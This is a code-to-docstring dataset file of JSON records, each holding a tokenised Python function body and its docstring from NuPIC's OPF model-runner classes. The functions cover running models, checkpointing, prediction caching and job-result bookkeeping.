{"signature": "def run(self):", "body": "self._logger.debug(\"<STR_LIT>\" % (self._modelID))<EOL>periodic = self._initPeriodicActivities()<EOL>self._optimizedMetricLabel = self._optimizeKeyPattern<EOL>self._reportMetricLabels = [self._optimizeKeyPattern]<EOL>if self._iterations >= <NUM_LIT:0>:<EOL><INDENT>iterTracker = iter(xrange(self._iterations))<EOL><DEDENT>else:<EOL><INDENT>iterTracker = iter(itertools.count())<EOL><DEDENT>doSysExit = False<EOL>if self._sysExitModelRange is not None:<EOL><INDENT>modelAndCounters = self._jobsDAO.modelsGetUpdateCounters(self._jobID)<EOL>modelIDs = [x[<NUM_LIT:0>] for x in modelAndCounters]<EOL>modelIDs.sort()<EOL>(beg,end) = self._sysExitModelRange<EOL>if self._modelID in modelIDs[int(beg):int(end)]:<EOL><INDENT>doSysExit = True<EOL><DEDENT><DEDENT>if self._delayModelRange is not None:<EOL><INDENT>modelAndCounters = self._jobsDAO.modelsGetUpdateCounters(self._jobID)<EOL>modelIDs = [x[<NUM_LIT:0>] for x in modelAndCounters]<EOL>modelIDs.sort()<EOL>(beg,end) = self._delayModelRange<EOL>if self._modelID in modelIDs[int(beg):int(end)]:<EOL><INDENT>time.sleep(<NUM_LIT:10>)<EOL><DEDENT><DEDENT>if self._errModelRange is not None:<EOL><INDENT>modelAndCounters = self._jobsDAO.modelsGetUpdateCounters(self._jobID)<EOL>modelIDs = [x[<NUM_LIT:0>] for x in modelAndCounters]<EOL>modelIDs.sort()<EOL>(beg,end) = self._errModelRange<EOL>if self._modelID in modelIDs[int(beg):int(end)]:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self._delay is not None:<EOL><INDENT>time.sleep(self._delay)<EOL><DEDENT>self._currentRecordIndex = <NUM_LIT:0><EOL>while True:<EOL><INDENT>if self._isKilled:<EOL><INDENT>break<EOL><DEDENT>if self._isCanceled:<EOL><INDENT>break<EOL><DEDENT>if self._isMature:<EOL><INDENT>if not self._isBestModel:<EOL><INDENT>self._cmpReason = self._jobsDAO.CMPL_REASON_STOPPED<EOL>break<EOL><DEDENT>else:<EOL><INDENT>self._cmpReason = self._jobsDAO.CMPL_REASON_EOF<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self._currentRecordIndex = next(iterTracker)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>self._writePrediction(ModelResult(None, None, None, None))<EOL>periodic.tick()<EOL>if self.__shouldSysExit(self._currentRecordIndex):<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if self._busyWaitTime is not None:<EOL><INDENT>time.sleep(self._busyWaitTime)<EOL>self.__computeWaitTime()<EOL><DEDENT>if doSysExit:<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if self._jobFailErr:<EOL><INDENT>raise utils.JobFailException(\"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self._doFinalize:<EOL><INDENT>if not self._makeCheckpoint:<EOL><INDENT>self._model = None<EOL><DEDENT>if self._finalDelay is not None:<EOL><INDENT>time.sleep(self._finalDelay)<EOL><DEDENT>self._finalize()<EOL><DEDENT>self._logger.info(\"<STR_LIT>\"% (self._modelID))<EOL>return (self._cmpReason, None)<EOL>", "docstring": "Runs the given OPF task against the given Model instance", "id": "f17592:c0:m4"}
{"signature": "def _createPredictionLogger(self):", "body": "class DummyLogger:<EOL><INDENT>def writeRecord(self, record): pass<EOL>def writeRecords(self, records, progressCB): pass<EOL>def close(self): pass<EOL><DEDENT>self._predictionLogger = DummyLogger()<EOL>", "docstring": "Creates the model's PredictionLogger object, which is an interface to write\nmodel results to a permanent storage location", "id": "f17592:c0:m7"}
{"signature": "def __shouldSysExit(self, iteration):", "body": "if self._exitAfter is Noneor iteration < self._exitAfter:<EOL><INDENT>return False<EOL><DEDENT>results = self._jobsDAO.modelsGetFieldsForJob(self._jobID, ['<STR_LIT>'])<EOL>modelIDs = [e[<NUM_LIT:0>] for e in results]<EOL>modelNums = [json.loads(e[<NUM_LIT:1>][<NUM_LIT:0>])['<STR_LIT>']['<STR_LIT>'] for e in results]<EOL>sameModelNumbers = filter(lambda x: x[<NUM_LIT:1>] == self.modelIndex,<EOL>zip(modelIDs, modelNums))<EOL>firstModelID = min(zip(*sameModelNumbers)[<NUM_LIT:0>])<EOL>return firstModelID == self._modelID<EOL>", "docstring": "Checks to see if the model should exit based on the exitAfter dummy\nparameter", "id": "f17592:c0:m8"}
{"signature": "def __init__(self,<EOL>modelID,<EOL>jobID,<EOL>predictedField,<EOL>experimentDir,<EOL>reportKeyPatterns,<EOL>optimizeKeyPattern,<EOL>jobsDAO,<EOL>modelCheckpointGUID,<EOL>logLevel=None,<EOL>predictionCacheMaxRecords=None):", "body": "<EOL>self._MIN_RECORDS_TO_BE_BEST = int(Configuration.get('<STR_LIT>'))<EOL>self._MATURITY_MAX_CHANGE = float(Configuration.get('<STR_LIT>'))<EOL>self._MATURITY_NUM_POINTS = int(Configuration.get('<STR_LIT>'))<EOL>self._modelID = modelID<EOL>self._jobID = jobID<EOL>self._predictedField = predictedField<EOL>self._experimentDir = experimentDir<EOL>self._reportKeyPatterns = reportKeyPatterns<EOL>self._optimizeKeyPattern = optimizeKeyPattern<EOL>self._jobsDAO = jobsDAO<EOL>self._modelCheckpointGUID = modelCheckpointGUID<EOL>self._predictionCacheMaxRecords = predictionCacheMaxRecords<EOL>self._isMaturityEnabled = bool(int(Configuration.get('<STR_LIT>')))<EOL>self._logger = logging.getLogger(\"<STR_LIT:.>\".join( ['<STR_LIT>',<EOL>self.__class__.__module__, self.__class__.__name__]))<EOL>self._optimizedMetricLabel = None<EOL>self._reportMetricLabels = []<EOL>self._cmpReason = ClientJobsDAO.CMPL_REASON_EOF<EOL>if logLevel is not None:<EOL><INDENT>self._logger.setLevel(logLevel)<EOL><DEDENT>self.__metricMgr = None<EOL>self.__task = None<EOL>self._periodic = None<EOL>self._streamDef = None<EOL>self._model = None<EOL>self._inputSource = None<EOL>self._currentRecordIndex = None<EOL>self._predictionLogger = None<EOL>self.__predictionCache = deque()<EOL>self._isBestModel = False<EOL>self._isBestModelStored = False<EOL>self._isCanceled = False<EOL>self._isKilled = False<EOL>self._isMature = False<EOL>self._isInterrupted = threading.Event()<EOL>self._metricRegression = regression.AveragePctChange(windowSize=self._MATURITY_NUM_POINTS)<EOL>self.__loggedMetricPatterns = []<EOL>", "docstring": "Parameters:\n-------------------------------------------------------------------------\nmodelID:            ID for this model in the models table\n\njobID:              ID for this hypersearch job in the jobs table\npredictedField:     Name of the input field for which this model is being\n                    optimized\nexperimentDir:      Directory path containing the experiment's\n                    description.py script\nreportKeyPatterns:  list of items from the results dict to include in\n                    the report. These can be regular expressions.\noptimizeKeyPattern: Which report item, if any, we will be optimizing for.\n                    This can also be a regular expression, but is an error\n                    if it matches more than one key from the experiment's\n                    results.\njobsDAO:            Jobs data access object - the interface to the\n                    jobs database which has the model's table.\nmodelCheckpointGUID:\n                    A persistent, globally-unique identifier for\n                    constructing the model checkpoint key. If None, then\n                    don't bother creating a model checkpoint.\nlogLevel:           override logging level to this value, if not None\npredictionCacheMaxRecords:\n                    Maximum number of records for the prediction output cache.\n                    Pass None for default value.", "id": "f17593:c0:m0"}
{"signature": "def run(self):", "body": "<EOL>descriptionPyModule = helpers.loadExperimentDescriptionScriptFromDir(<EOL>self._experimentDir)<EOL>expIface = helpers.getExperimentDescriptionInterfaceFromModule(<EOL>descriptionPyModule)<EOL>expIface.normalizeStreamSources()<EOL>modelDescription = expIface.getModelDescription()<EOL>self._modelControl = expIface.getModelControl()<EOL>streamDef = self._modelControl['<STR_LIT>']<EOL>from nupic.data.stream_reader import StreamReader<EOL>readTimeout = <NUM_LIT:0><EOL>self._inputSource = StreamReader(streamDef, isBlocking=False,<EOL>maxTimeout=readTimeout)<EOL>fieldStats = self._getFieldStats()<EOL>self._model = ModelFactory.create(modelDescription)<EOL>self._model.setFieldStatistics(fieldStats)<EOL>self._model.enableLearning()<EOL>self._model.enableInference(self._modelControl.get(\"<STR_LIT>\", None))<EOL>self.__metricMgr = MetricsManager(self._modelControl.get('<STR_LIT>',None),<EOL>self._model.getFieldInfo(),<EOL>self._model.getInferenceType())<EOL>self.__loggedMetricPatterns = self._modelControl.get(\"<STR_LIT>\", [])<EOL>self._optimizedMetricLabel = self.__getOptimizedMetricLabel()<EOL>self._reportMetricLabels = matchPatterns(self._reportKeyPatterns,<EOL>self._getMetricLabels())<EOL>self._periodic = self._initPeriodicActivities()<EOL>numIters = self._modelControl.get('<STR_LIT>', -<NUM_LIT:1>)<EOL>learningOffAt = None<EOL>iterationCountInferOnly = self._modelControl.get('<STR_LIT>', <NUM_LIT:0>)<EOL>if iterationCountInferOnly == -<NUM_LIT:1>:<EOL><INDENT>self._model.disableLearning()<EOL><DEDENT>elif iterationCountInferOnly > <NUM_LIT:0>:<EOL><INDENT>assert numIters > iterationCountInferOnly, \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>learningOffAt = numIters - iterationCountInferOnly<EOL><DEDENT>self.__runTaskMainLoop(numIters, learningOffAt=learningOffAt)<EOL>self._finalize()<EOL>return (self._cmpReason, None)<EOL>", "docstring": "Runs the OPF Model\n\n        Parameters:\n        -------------------------------------------------------------------------\n        retval:  (completionReason, completionMsg)\n                  where completionReason is one of the ClientJobsDAO.CMPL_REASON_XXX\n                    equates.", "id": "f17593:c0:m1"}
{"signature": "def __runTaskMainLoop(self, numIters, learningOffAt=None):", "body": "<EOL>self._model.resetSequenceStates()<EOL>self._currentRecordIndex = -<NUM_LIT:1><EOL>while True:<EOL><INDENT>if self._isKilled:<EOL><INDENT>break<EOL><DEDENT>if self._isCanceled:<EOL><INDENT>break<EOL><DEDENT>if self._isInterrupted.isSet():<EOL><INDENT>self.__setAsOrphaned()<EOL>break<EOL><DEDENT>if self._isMature:<EOL><INDENT>if not self._isBestModel:<EOL><INDENT>self._cmpReason = self._jobsDAO.CMPL_REASON_STOPPED<EOL>break<EOL><DEDENT>else:<EOL><INDENT>self._cmpReason = self._jobsDAO.CMPL_REASON_EOF<EOL><DEDENT>if learningOffAt is not Noneand self._currentRecordIndex == learningOffAt:<EOL><INDENT>self._model.disableLearning()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>inputRecord = self._inputSource.getNextRecordDict()<EOL>if self._currentRecordIndex < <NUM_LIT:0>:<EOL><INDENT>self._inputSource.setTimeout(<NUM_LIT:10>)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>raise utils.JobFailException(ErrorCodes.streamReading, str(e.args),<EOL>traceback.format_exc())<EOL><DEDENT>if inputRecord is None:<EOL><INDENT>self._cmpReason = self._jobsDAO.CMPL_REASON_EOF<EOL>break<EOL><DEDENT>if inputRecord:<EOL><INDENT>self._currentRecordIndex += <NUM_LIT:1><EOL>result = self._model.run(inputRecord=inputRecord)<EOL>result.metrics = self.__metricMgr.update(result)<EOL>if not result.metrics:<EOL><INDENT>result.metrics = self.__metricMgr.getMetrics()<EOL><DEDENT>if InferenceElement.encodings in result.inferences:<EOL><INDENT>result.inferences.pop(InferenceElement.encodings)<EOL><DEDENT>result.sensorInput.dataEncodings = None<EOL>self._writePrediction(result)<EOL>self._periodic.tick()<EOL>if numIters >= <NUM_LIT:0> and self._currentRecordIndex >= numIters-<NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>inputRecord)<EOL><DEDENT><DEDENT>", "docstring": "Main loop of the OPF Model Runner.\n\n        Parameters:\n        -----------------------------------------------------------------------\n\n        recordIterator:    Iterator for counting number of records (see _runTask)\n        learningOffAt:     If not None, learning is turned off when we reach this\n                            iteration number", "id": "f17593:c0:m2"}
{"signature": "def _finalize(self):", "body": "self._logger.info(<EOL>\"<STR_LIT>\",<EOL>self._modelID, self._currentRecordIndex + <NUM_LIT:1>)<EOL>self._updateModelDBResults()<EOL>if not self._isKilled:<EOL><INDENT>self.__updateJobResults()<EOL><DEDENT>else:<EOL><INDENT>self.__deleteOutputCache(self._modelID)<EOL><DEDENT>if self._predictionLogger:<EOL><INDENT>self._predictionLogger.close()<EOL><DEDENT>if self._inputSource: <EOL><INDENT>self._inputSource.close()<EOL><DEDENT>", "docstring": "Run final activities after a model has run. These include recording and\n        logging the final score", "id": "f17593:c0:m3"}
{"signature": "def __createModelCheckpoint(self):", "body": "if self._model is None or self._modelCheckpointGUID is None:<EOL><INDENT>return<EOL><DEDENT>if self._predictionLogger is None:<EOL><INDENT>self._createPredictionLogger()<EOL><DEDENT>predictions = io.StringIO()<EOL>self._predictionLogger.checkpoint(<EOL>checkpointSink=predictions,<EOL>maxRows=int(Configuration.get('<STR_LIT>')))<EOL>self._model.save(os.path.join(self._experimentDir, str(self._modelCheckpointGUID)))<EOL>self._jobsDAO.modelSetFields(modelID,<EOL>{'<STR_LIT>':str(self._modelCheckpointGUID)},<EOL>ignoreUnchanged=True)<EOL>self._logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", self._modelID, checkpointID)<EOL>return<EOL>", "docstring": "Create a checkpoint from the current model, and store it in a dir named\n        after checkpoint GUID, and finally store the GUID in the Models DB", "id": "f17593:c0:m4"}
{"signature": "def __deleteModelCheckpoint(self, modelID):", "body": "checkpointID =self._jobsDAO.modelsGetFields(modelID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if checkpointID is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>shutil.rmtree(os.path.join(self._experimentDir, str(self._modelCheckpointGUID)))<EOL><DEDENT>except:<EOL><INDENT>self._logger.warn(\"<STR_LIT>\"\"<STR_LIT>\",<EOL>checkpointID)<EOL>return<EOL><DEDENT>self._jobsDAO.modelSetFields(modelID,<EOL>{'<STR_LIT>':None},<EOL>ignoreUnchanged=True)<EOL>return<EOL>", "docstring": "Delete the stored checkpoint for the specified modelID. This function is\ncalled if the current model is now the best model, making the old model's\ncheckpoint obsolete\n\nParameters:\n-----------------------------------------------------------------------\nmodelID:      The modelID for the checkpoint to delete. This is NOT the\n              unique checkpointID", "id": "f17593:c0:m5"}
{"signature": "def _createPredictionLogger(self):", "body": "<EOL>self._predictionLogger = BasicPredictionLogger(<EOL>fields=self._model.getFieldInfo(),<EOL>experimentDir=self._experimentDir,<EOL>label = \"<STR_LIT>\",<EOL>inferenceType=self._model.getInferenceType())<EOL>if self.__loggedMetricPatterns:<EOL><INDENT>metricLabels = self.__metricMgr.getMetricLabels()<EOL>loggedMetrics = matchPatterns(self.__loggedMetricPatterns, metricLabels)<EOL>self._predictionLogger.setLoggedMetrics(loggedMetrics)<EOL><DEDENT>", "docstring": "Creates the model's PredictionLogger object, which is an interface to write\nmodel results to a permanent storage location", "id": "f17593:c0:m6"}
{"signature": "def __getOptimizedMetricLabel(self):", "body": "matchingKeys = matchPatterns([self._optimizeKeyPattern],<EOL>self._getMetricLabels())<EOL>if len(matchingKeys) == <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %(self._optimizeKeyPattern, self._getMetricLabels()))<EOL><DEDENT>elif len(matchingKeys) > <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (self._optimizeKeyPattern, matchingKeys))<EOL><DEDENT>return matchingKeys[<NUM_LIT:0>]<EOL>", "docstring": "Get the label for the metric being optimized. This function also caches\n        the label in the instance variable self._optimizedMetricLabel\n\n        Parameters:\n        -----------------------------------------------------------------------\n        metricLabels:   A sequence of all the labels being computed for this model\n\n        Returns:        The label for the metric being optmized over", "id": "f17593:c0:m7"}
{"signature": "def _getMetricLabels(self):", "body": "return self.__metricMgr.getMetricLabels()<EOL>", "docstring": "Returns:  A list of labels that correspond to metrics being computed", "id": "f17593:c0:m8"}
{"signature": "def _getFieldStats(self):", "body": "fieldStats = dict()<EOL>fieldNames = self._inputSource.getFieldNames()<EOL>for field in fieldNames:<EOL><INDENT>curStats = dict()<EOL>curStats['<STR_LIT>'] = self._inputSource.getFieldMin(field)<EOL>curStats['<STR_LIT>'] = self._inputSource.getFieldMax(field)<EOL>fieldStats[field] = curStats<EOL><DEDENT>return fieldStats<EOL>", "docstring": "Method which returns a dictionary of field statistics received from the\ninput source.\n\nReturns:\n\n  fieldStats: dict of dicts where the first level is the field name and\n    the second level is the statistic. ie. fieldStats['pounds']['min']", "id": "f17593:c0:m9"}
{"signature": "def _getMetrics(self):", "body": "return self.__metricMgr.getMetrics()<EOL>", "docstring": "Protected function that can be overriden by subclasses. Its main purpose\n        is to allow the the OPFDummyModelRunner to override this with deterministic\n        values\n\n        Returns: All the metrics being computed for this model", "id": "f17593:c0:m10"}
{"signature": "def _updateModelDBResults(self):", "body": "<EOL>metrics = self._getMetrics()<EOL>reportDict = dict([(k,metrics[k]) for k in self._reportMetricLabels])<EOL>metrics = self._getMetrics()<EOL>optimizeDict = dict()<EOL>if self._optimizeKeyPattern is not None:<EOL><INDENT>optimizeDict[self._optimizedMetricLabel] =metrics[self._optimizedMetricLabel]<EOL><DEDENT>results = json.dumps((metrics , optimizeDict))<EOL>self._jobsDAO.modelUpdateResults(self._modelID,  results=results,<EOL>metricValue=list(optimizeDict.values())[<NUM_LIT:0>],<EOL>numRecords=(self._currentRecordIndex + <NUM_LIT:1>))<EOL>self._logger.debug(<EOL>\"<STR_LIT>\" %(self._modelID, self._currentRecordIndex + <NUM_LIT:1>, results))<EOL>return<EOL>", "docstring": "Retrieves the current results and updates the model's record in\n        the Model database.", "id": "f17593:c0:m11"}
{"signature": "def __updateJobResultsPeriodic(self):", "body": "if self._isBestModelStored and not self._isBestModel:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>jobResultsStr = self._jobsDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobResultsStr is None:<EOL><INDENT>jobResults = {}<EOL><DEDENT>else:<EOL><INDENT>self._isBestModelStored = True<EOL>if not self._isBestModel:<EOL><INDENT>return<EOL><DEDENT>jobResults = json.loads(jobResultsStr)<EOL><DEDENT>bestModel = jobResults.get('<STR_LIT>', None)<EOL>bestMetric = jobResults.get('<STR_LIT>', None)<EOL>isSaved = jobResults.get('<STR_LIT>', False)<EOL>if (bestModel is not None) and (self._modelID != bestModel):<EOL><INDENT>self._isBestModel = False<EOL>return<EOL><DEDENT>self.__flushPredictionCache()<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>metrics = self._getMetrics()<EOL>jobResults['<STR_LIT>'] = self._modelID<EOL>jobResults['<STR_LIT>'] = metrics[self._optimizedMetricLabel]<EOL>jobResults['<STR_LIT>'] = metrics<EOL>jobResults['<STR_LIT>'] = False<EOL>newResults = json.dumps(jobResults)<EOL>isUpdated = self._jobsDAO.jobSetFieldIfEqual(self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=jobResultsStr,<EOL>newValue=newResults)<EOL>if isUpdated or (not isUpdated and newResults==jobResultsStr):<EOL><INDENT>self._isBestModel = True<EOL>break<EOL><DEDENT><DEDENT>", "docstring": "Periodic check to see if this is the best model. This should only have an\neffect if this is the *first* model to report its progress", "id": "f17593:c0:m12"}
{"signature": "def __checkIfBestCompletedModel(self):", "body": "jobResultsStr = self._jobsDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobResultsStr is None:<EOL><INDENT>jobResults = {}<EOL><DEDENT>else:<EOL><INDENT>jobResults = json.loads(jobResultsStr)<EOL><DEDENT>isSaved = jobResults.get('<STR_LIT>', False)<EOL>bestMetric = jobResults.get('<STR_LIT>', None)<EOL>currentMetric = self._getMetrics()[self._optimizedMetricLabel]<EOL>self._isBestModel = (not isSaved)or (currentMetric < bestMetric)<EOL>return self._isBestModel, jobResults, jobResultsStr<EOL>", "docstring": "Reads the current \"best model\" for the job and returns whether or not the\ncurrent model is better than the \"best model\" stored for the job\n\nReturns: (isBetter, storedBest, origResultsStr)\n\nisBetter:\n  True if the current model is better than the stored \"best model\"\nstoredResults:\n  A dict of the currently stored results in the jobs table record\norigResultsStr:\n  The json-encoded string that currently resides in the \"results\" field\n  of the jobs record (used to create atomicity)", "id": "f17593:c0:m13"}
{"signature": "def __updateJobResults(self):", "body": "isSaved = False<EOL>while True:<EOL><INDENT>self._isBestModel, jobResults, jobResultsStr =self.__checkIfBestCompletedModel()<EOL>if self._isBestModel:<EOL><INDENT>if not isSaved:<EOL><INDENT>self.__flushPredictionCache()<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>self.__createModelCheckpoint()<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>isSaved = True<EOL><DEDENT>prevBest = jobResults.get('<STR_LIT>', None)<EOL>prevWasSaved = jobResults.get('<STR_LIT>', False)<EOL>if prevBest == self._modelID:<EOL><INDENT>assert not prevWasSaved<EOL><DEDENT>metrics = self._getMetrics()<EOL>jobResults['<STR_LIT>'] = self._modelID<EOL>jobResults['<STR_LIT>'] = metrics[self._optimizedMetricLabel]<EOL>jobResults['<STR_LIT>'] = metrics<EOL>jobResults['<STR_LIT>'] = True<EOL>isUpdated = self._jobsDAO.jobSetFieldIfEqual(self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=jobResultsStr,<EOL>newValue=json.dumps(jobResults))<EOL>if isUpdated:<EOL><INDENT>if prevWasSaved:<EOL><INDENT>self.__deleteOutputCache(prevBest)<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>self.__deleteModelCheckpoint(prevBest)<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL><DEDENT>self._logger.info(\"<STR_LIT>\", self._modelID)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.__deleteOutputCache(self._modelID)<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>self.__deleteModelCheckpoint(self._modelID)<EOL>self._jobsDAO.modelUpdateTimestamp(self._modelID)<EOL>break<EOL><DEDENT><DEDENT>", "docstring": "Check if this is the best model\nIf so:\n  1) Write it's checkpoint\n  2) Record this model as the best\n  3) Delete the previous best's output cache\nOtherwise:\n  1) Delete our output cache", "id": "f17593:c0:m14"}
{"signature": "def _writePrediction(self, result):", "body": "self.__predictionCache.append(result)<EOL>if self._isBestModel:<EOL><INDENT>self.__flushPredictionCache()<EOL><DEDENT>", "docstring": "Writes the results of one iteration of a model. The results are written to\nthis ModelRunner's in-memory cache unless this model is the \"best model\" for\nthe job. If this model is the \"best model\", the predictions are written out\nto a permanent store via a prediction output stream instance\n\n\nParameters:\n-----------------------------------------------------------------------\nresult:      A opf_utils.ModelResult object, which contains the input and\n              output for this iteration", "id": "f17593:c0:m15"}
{"signature": "def __writeRecordsCallback(self):", "body": "<EOL>self._jobsDAO.modelUpdateResults(self._modelID)<EOL>", "docstring": "This callback is called by self.__predictionLogger.writeRecords()\n        between each batch of records it writes. It gives us a chance to say that\n        the model is 'still alive' during long write operations.", "id": "f17593:c0:m16"}
{"signature": "def __flushPredictionCache(self):", "body": "if not self.__predictionCache:<EOL><INDENT>return<EOL><DEDENT>if self._predictionLogger is None:<EOL><INDENT>self._createPredictionLogger()<EOL><DEDENT>startTime = time.time()<EOL>self._predictionLogger.writeRecords(self.__predictionCache,<EOL>progressCB=self.__writeRecordsCallback)<EOL>self._logger.info(\"<STR_LIT>\",<EOL>len(self.__predictionCache), time.time() - startTime)<EOL>self.__predictionCache.clear()<EOL>", "docstring": "Writes the contents of this model's in-memory prediction cache to a permanent\nstore via the prediction output stream instance", "id": "f17593:c0:m17"}
{"signature": "def __deleteOutputCache(self, modelID):", "body": "<EOL>if modelID == self._modelID and self._predictionLogger is not None:<EOL><INDENT>self._predictionLogger.close()<EOL>del self.__predictionCache<EOL>self._predictionLogger = None<EOL>self.__predictionCache = None<EOL><DEDENT>", "docstring": "Delete's the output cache associated with the given modelID. This actually\nclears up the resources associated with the cache, rather than deleting al\nthe records in the cache\n\nParameters:\n-----------------------------------------------------------------------\nmodelID:      The id of the model whose output cache is being deleted", "id": "f17593:c0:m18"}
{"signature": "def _initPeriodicActivities(self):", "body": "<EOL>updateModelDBResults = PeriodicActivityRequest(repeating=True,<EOL>period=<NUM_LIT:100>,<EOL>cb=self._updateModelDBResults)<EOL>updateJobResults = PeriodicActivityRequest(repeating=True,<EOL>period=<NUM_LIT:100>,<EOL>cb=self.__updateJobResultsPeriodic)<EOL>checkCancelation = PeriodicActivityRequest(repeating=True,<EOL>period=<NUM_LIT:50>,<EOL>cb=self.__checkCancelation)<EOL>checkMaturity = PeriodicActivityRequest(repeating=True,<EOL>period=<NUM_LIT:10>,<EOL>cb=self.__checkMaturity)<EOL>updateJobResultsFirst = PeriodicActivityRequest(repeating=False,<EOL>period=<NUM_LIT:2>,<EOL>cb=self.__updateJobResultsPeriodic)<EOL>periodicActivities = [updateModelDBResults,<EOL>updateJobResultsFirst,<EOL>updateJobResults,<EOL>checkCancelation]<EOL>if self._isMaturityEnabled:<EOL><INDENT>periodicActivities.append(checkMaturity)<EOL><DEDENT>return PeriodicActivityMgr(requestedActivities=periodicActivities)<EOL>", "docstring": "Creates and returns a PeriodicActivityMgr instance initialized with\n        our periodic activities\n\n        Parameters:\n        -------------------------------------------------------------------------\n        retval:             a PeriodicActivityMgr instance", "id": "f17593:c0:m19"}
{"signature": "def __checkCancelation(self):", "body": "<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>jobCancel = self._jobsDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobCancel:<EOL><INDENT>self._cmpReason = ClientJobsDAO.CMPL_REASON_KILLED<EOL>self._isCanceled = True<EOL>self._logger.info(\"<STR_LIT>\",<EOL>self._modelID, self._jobID)<EOL><DEDENT>else:<EOL><INDENT>stopReason = self._jobsDAO.modelsGetFields(self._modelID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if stopReason is None:<EOL><INDENT>pass<EOL><DEDENT>elif stopReason == ClientJobsDAO.STOP_REASON_KILLED:<EOL><INDENT>self._cmpReason = ClientJobsDAO.CMPL_REASON_KILLED<EOL>self._isKilled = True<EOL>self._logger.info(\"<STR_LIT>\",<EOL>self._modelID)<EOL><DEDENT>elif stopReason == ClientJobsDAO.STOP_REASON_STOPPED:<EOL><INDENT>self._cmpReason = ClientJobsDAO.CMPL_REASON_STOPPED<EOL>self._isCanceled = True<EOL>self._logger.info(\"<STR_LIT>\", self._modelID)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError (\"<STR_LIT>\" % (stopReason))<EOL><DEDENT><DEDENT>", "docstring": "Check if the cancelation flag has been set for this model\n        in the Model DB", "id": "f17593:c0:m20"}
{"signature": "def __checkMaturity(self):", "body": "if self._currentRecordIndex+<NUM_LIT:1> < self._MIN_RECORDS_TO_BE_BEST:<EOL><INDENT>return<EOL><DEDENT>if self._isMature:<EOL><INDENT>return<EOL><DEDENT>metric = self._getMetrics()[self._optimizedMetricLabel]<EOL>self._metricRegression.addPoint(x=self._currentRecordIndex, y=metric)<EOL><INDENT>Perform a linear regression to see if the error is leveled off<EOL><DEDENT>pctChange, absPctChange = self._metricRegression.getPctChanges()<EOL>if pctChange  is not None and absPctChange <= self._MATURITY_MAX_CHANGE:<EOL><INDENT>self._jobsDAO.modelSetFields(self._modelID,<EOL>{'<STR_LIT>':True})<EOL>self._cmpReason = ClientJobsDAO.CMPL_REASON_STOPPED<EOL>self._isMature = True<EOL>self._logger.info(\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\",self._modelID, pctChange,<EOL>self._MATURITY_NUM_POINTS,<EOL>self._metricRegression._window)<EOL><DEDENT>", "docstring": "Save the current metric value and see if the model's performance has\n        'leveled off.' We do this by looking at some number of previous number of\n        recordings", "id": "f17593:c0:m21"}
{"signature": "def handleWarningSignal(self, signum, frame):", "body": "self._isInterrupted.set()<EOL>", "docstring": "Handles a \"warning signal\" from the scheduler. This is received when the\nscheduler is about to kill the the current process so that the worker can be\nallocated to another job.\n\nRight now, this function just sets the current model to the \"Orphaned\" state\nin the models table so that another worker can eventually re-run this model\n\nParameters:\n-----------------------------------------------------------------------", "id": "f17593:c0:m22"}
{"signature": "def __setAsOrphaned(self):", "body": "cmplReason = ClientJobsDAO.CMPL_REASON_ORPHAN<EOL>cmplMessage = \"<STR_LIT>\"<EOL>self._jobsDAO.modelSetCompleted(self._modelID, cmplReason, cmplMessage)<EOL>", "docstring": "Sets the current model as orphaned. This is called when the scheduler is\nabout to kill the process to reallocate the worker to a different process.", "id": "f17593:c0:m23"}
{"signature": "@staticmethod<EOL><INDENT>def getInputElement(inferenceElement):<DEDENT>", "body": "return InferenceElement.__inferenceInputMap.get(inferenceElement, None)<EOL>", "docstring": "Get the sensor input element that corresponds to the given inference\n        element. This is mainly used for metrics and prediction logging", "id": "f17595:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def isTemporal(inferenceElement):<DEDENT>", "body": "if InferenceElement.__temporalInferenceElements is None:<EOL><INDENT>InferenceElement.__temporalInferenceElements =set([InferenceElement.prediction])<EOL><DEDENT>return inferenceElement in InferenceElement.__temporalInferenceElements<EOL>", "docstring": "Returns True if the inference from this timestep is predicted the input\n        for the NEXT timestep.\n\n        NOTE: This should only be checked IF THE MODEL'S INFERENCE TYPE IS ALSO\n        TEMPORAL. That is, a temporal model CAN have non-temporal inference elements,\n        but a non-temporal model CANNOT have temporal inference elements", "id": "f17595:c0:m1"}
